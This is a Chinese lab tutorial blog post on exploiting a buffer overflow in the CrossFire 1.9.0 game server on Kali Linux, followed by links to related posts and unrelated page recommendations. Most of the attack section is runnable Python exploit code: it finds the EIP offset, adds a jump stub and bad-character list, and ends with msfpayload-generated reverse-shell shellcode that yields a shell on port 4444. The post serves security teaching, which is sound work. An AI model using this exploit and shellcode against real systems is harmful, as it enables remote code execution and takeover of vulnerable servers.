kali+php+缓冲区溢出,kali linux之edb--CrossFire缓冲区溢出

漏洞的罪恶根源------变量,数据与代码边界不清,开发人员对用户输入没做过滤,或者过滤不严

如这个脚本,写什么,显示什么,但是加上;,|,&&,后面加上系统命令,就执行命令了

75151bb2cf5408afef0a6295a5160823.png

3d6a1a10d813bc697c4adfb4589c8946.png

缓冲区溢出:

当边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被撑爆,从而覆盖了相邻内存区域的数据,成功修改i内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果

如何发现漏洞?

源码审计(代码审计),逆向工程(动态调试),模糊测试------(向程序堆栈半随机的数据,根据内存变化判断溢出,数据生成器--生成随机,半随机数据,测试工具--识别溢出漏洞)

实例(没下载到CrossFire,而且我物理机也是2019版的kali,就借鉴一下这个老哥的:https://www.cnblogs.com/systemVITO/p/9246752.html)

CrossFire

多人在线RPG游戏

1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞 (服务端)

调试工具

edb

运行平台kali 2.0 x64虚拟机

Linux中内存保护机制

DEP

ASLR

堆栈 cookies

堆栈粉碎

创建/usr/games/目录,将crossfire1.9.0服务端解压到目录

运行./crossfire

c7bfdd9aaf8ca2d403869286c340555b.png

开启调试

edb --run /usr/games/crossfire/bin/crossfire

右下角是paused暂停状态

菜单栏 Debug => Run(F9) 点击两回可以运行起来

可以通过命令查看程序端口信息

d9144b613ab66161ad00d2e713362f5a.png

查看开放端口

netstat -pantu | grep 13327

EIP中存放的是下一条指令的地址

这个程序和一般的溢出不同,它必须发送固定的数据量才可以发生溢出,而不是大于某个数据量都可以,我们构造如下python程序测试

#! /usr/bin/python

import socket   #导入模块

host = "127.0.0.1"  #主机

crash = "\x41" * 4379       ##要发送的crash字符为 \x41为十六进制的大写A

buffer = "\x11(setup sound " + crash + "\x90\x00#"   ##实际发送给服务器的数据 \x90是NULL,\x00是空字符

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #建立连接对象

print "[*]Sending evil buffer..."

s.connect((host,13327)) #和主机的13327建立连接

data = s.recv(1024)

print data

s.send(buffer) ##建立完成后发送buffer

s.close()

print "[*]Payload Sent!"

运行后,edb报错如下

0f831a98ab9640e21b0e847bb9a4c666.png

意思是EIP(存放一下条执行命令的地址)已经被覆盖成上图黑体中的地址,而计算机找不到这个地址。这个地址正是由我们输入的A,说明EIP可控,存在溢出。

这里你也可以测试增加一个A或者减少一个A发送,会发现后边两个数值都不是A,都不可控,也就是说数据量只有为4379时EIP才完全可控

为了查看到底是哪个位置的A才是溢出后的EIP地址,借助工具生成唯一字符串

cd /usr/share/metasploit-framework/tools/exploit/

33f072e3aa835d75fc7d5a4d4734b8ec.png

复制下来,构造如下python脚本

#! /usr/bin/python

import socket

host = "127.0.0.1"

crash = "唯一字符串"

buffer = "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

print "[*]Sending evil buffer..."

s.connect((host,13327))

data = s.recv(1024)

print data

s.send(buffer)

s.close()

print "[*]Payload Sent!"

开启edb启动程序,运行python程序

27b4de44b20ddd64294004355fce55a0.png

利用工具确认字符串的位置

cd /usr/share/metasploit-framework/tools/exploit/

429d9199d580afbd2881428754e087cf.png

就是说EIP地址前面有4368个字符。   4369,4370,4371,4372的位置存放的是溢出后的EIP地址

我们构造如下python脚本验证

#! /usr/bin/python

import socket

host = "127.0.0.1"

crash = 'A'*4368 + 'B'*4 + 'C'*7   ## 凑够4379个字符

buffer = "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

print "[*]Sending evil buffer..."

s.connect((host,13327))

data = s.recv(1024)

print data

s.send(buffer)

s.close()

print "[*]Payload Sent!"

aae372d192f69714f95d9911fe5eaad9.png

可以看到EIP地址被精准的填充为B字符

0587c5166957c7f2db187d7fca861136.png

右键ESP,选择 Follow In Dump 查看数据

f78133727e99f7f7cb46282e931fa87f.png

因为必须是精确的字符才能溢出,就是说ESP寄存器只能存放7个字符,显然无法存放shellcode

几个寄存器都查看后,选择了EAX。因为EAX存放的是我们之前发送的几千个A,是可控的,且有足够的大小存放shellcode

b5cdfc186d72eb1ede3af96fec434bc8.png

思路就是让EIP存放EAX的地址,然后在地址上加12,直接从第一个A的位置开始执行。但是各个机器的EAX的地址也各不相同,不具有通用性,所以直接跳转的思路就放弃。

既然ESP可以存放7个字符,想到了跳转EAX并偏移12

17fce5ab4d6423bf7860b8b10276e94d.png

#! /usr/bin/python

import socket

host = "127.0.0.1"

crash = 'A'*4368 + 'B'*4 + '\x83\xc0\x0c\xff\xe0\x90\x90'

buffer = "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

print "[*]Sending evil buffer..."

s.connect((host,13327))

data = s.recv(1024)

print data

s.send(buffer)

s.close()

print "[*]Payload Sent!"

首先EIP地址仍然是精准的四个B

6c3806b36fdd2a163ecb55541beffa8a.png

ESP => Follow In Dump 查看

8c9c19e50ed5ff61880783733a00cf3c.png

83 c0 0c ff e0 90 90 说明这里也完美写入

思路就是EIP => ESP => EAX,EAX存放shellcode,因为ESP地址不固定,需要借助固定的地址跳转

打开edb,菜单栏 Plugins => OpcodeSearcher => OpcodeSearch

选择crossfire程序,ESP -> EIP,选择一个jmp esp 的地址,这个地址是不会变的

d6b9bd2ffaa30f32c826b9c81ab3c513.png

菜单栏 plugin => breakpointmanager => breakpoints 选择add增加我们上边选择的地址的断点用来测试。

然后我们测试坏字符,经过测试坏字符是\x00\x0a\x0d\x20

生成shellcode并过滤坏字符

cd /usr/share/framework2/ ./msfpayload -l #可以生成的shellcode的种类

./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "\x00\x0a\x0d\x20"

构建python脚本

import socket

host = "127.0.0.1"

shellcode = (

"\xbb\x6d\x65\x9b\xcd\xdb\xdd\xd9\x74\x24\xf4\x5f\x2b\xc9"+

"\xb1\x14\x83\xc7\x04\x31\x5f\x10\x03\x5f\x10\x8f\x90\xaa"+

"\x16\xb8\xb8\x9e\xeb\x15\x55\x23\x65\x78\x19\x45\xb8\xfa"+

"\x01\xd4\x10\x92\xb7\xe8\x85\x3e\xd2\xf8\xf4\xee\xab\x18"+

"\x9c\x68\xf4\x17\xe1\xfd\x45\xac\x51\xf9\xf5\xca\x58\x81"+

"\xb5\xa2\x05\x4c\xb9\x50\x90\x24\x85\x0e\xee\x38\xb0\xd7"+

"\x08\x50\x6c\x07\x9a\xc8\x1a\x78\x3e\x61\xb5\x0f\x5d\x21"+

"\x1a\x99\x43\x71\x97\x54\x03")

crash = shellcode + "A"*(4368-105) + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"

buffer = "\x11(setup sound " +crash+ "\x90\x90#)"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

print "[*]Sending evil buffer..."

s.connect((host,13327))

data = s.recv(1024)

print data

s.send(buffer)

s.close()

print "[*]Payload Sent!"

监听本地的4444端口,即可获取一个shell

友情链接 http://www.cnblogs.com/klionsec

http://www.cnblogs.com/l0cm

http://www.cnblogs.com/Anonyaptxxx

http://www.feiyusafe.cn

Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞

漏洞名称: Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-423 发布时间: 2013-11-29 更新时间: 201 ...

Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞

漏洞名称: Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-392 发布时间: 2013-11-29 更新 ...

Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞

漏洞名称: Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-154 发布时间: 2013-11-13 更新时间: 201 ...

Linux下简单的缓冲区溢出

缓冲区溢出是什么? 科班出身,或者学过汇编的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据 成功修改内存数据,可造成进程劫持 ...

Kali学习笔记22:缓冲区溢出漏洞利用实验

实验机器: Kali虚拟机一台(192.168.163.133) Windows XP虚拟机一台(192.168.163.130) 如何用Kali虚拟机一步一步“黑掉”这个windowsXP虚拟机呢? ...

Kali学习笔记21:缓冲区溢出实验(漏洞发现)

上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...

Kali学习笔记20:缓冲区溢出实验环境准备

在前几篇的博客中:我介绍了OpenVAS和Nessus这两个强大的自动化漏洞扫描器 但是,在计算机领域中有种叫做0day漏洞:没有公开只掌握在某些人手中 那么,这些0day漏洞是如何被发现的呢? 接下 ...

小白日记18:kali渗透测试之缓冲区溢出实例(二)--Linux,穿越火线1.9.0

Linux系统下穿越火线-缓冲区溢出 原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞. 工具: 调试工具:edb: ###python在漏洞溢出方面的渗透测 ...

kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail

kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail 相关链接:https://www.bbsmax.com/A/xl569l20Jr/ http://4hou.win/wordp ...

Linux系统缓冲区溢出

Linux系统下穿越火线-缓冲区溢出 原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞. 工具: 调试工具:edb: ###python在漏洞溢出方面的渗透测 ...

随机推荐

怎么把本地项目和远程git仓库相连通

1. 打开在你的项目文件夹,输入下面的命令 git init 输完上面的命令,文件夹中会出现一个.git文件夹,如下图所示,其他的的文件也会出现蓝色小问号的标志 2. 添加所有文件 git add . ...

c++11并发程序设计(1)

第一章:你好 c++的并发世界 1.何为并发 最简单和最基本的并发,是指两个或两个以上的独立活动同时进行. 对于单个处理单元或者核心,这种机器只能在某一时刻执行一个任务,不够它可以每秒进行多次的任务切 ...

Extjs 兼容IE10

在对应的地方将Ext.isIE 修改成: Ext.isIE && !(/msie 9/.test(navigator.userAgent.toLowerCase())  &&a ...

Vim知识点收集

(注意: 只记录工作中实际使用的命令) 删除带有pattern的所有行    :g/pattern/d 删除不带pattern的所有行   :g!/pattern/d 匹配red和blue,无次序   ...

升级Xcode7后所要更改的配置

http://blog.csdn.net/huxiaoqiao163/article/details/48711077

linux 知识整理1linux 常见的目录

linux 系统现在也是搭配啦图形操作界面. 本人初次学习linux,不是为工作,我的工作是玩Asp.net 的.学习linux 也算是知识的储备吧. 学习linux必须知道一些基本的知识. 目录 用 ...

arm nop

MOV R0,R0 这个语句相当于做一次无用功,也就相当于实现了NOP.       接下去就是怎么修改机器码的部分.先查询手册,查到MOV 的机器码是0xE1A0(此处可能不同,主要看自己IDA反汇 ...

ORACLE数据库之PL/SQL触发器、rownum、动态SQL、数据库之视图与索引

WHEN子句说明触发约束条件.Condition为一个逻辑表达时,其中必须包含相关名称,而不能包含查询语句,也不能调用PL/SQL函数.WHEN子句指定的触发约束条件只能用在BEFORE和AFTER行 ...

PL/SQL Developer连接本地Oracle 11g 64位数据库和快捷键设置

1.登录PL/SQL Developer 这里省略Oracle数据库和PL/SQL Developer的安装步骤,注意在安装PL/SQL Developer软件时,不要安装在Program Files ...

常用.net反编译替换正则表达式

.set_([^\(]*) .$ = ------------------ .get_([^\(]*)\(\) .$ ------------------ .get_Item\(([a-z|-]+)\ ...

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值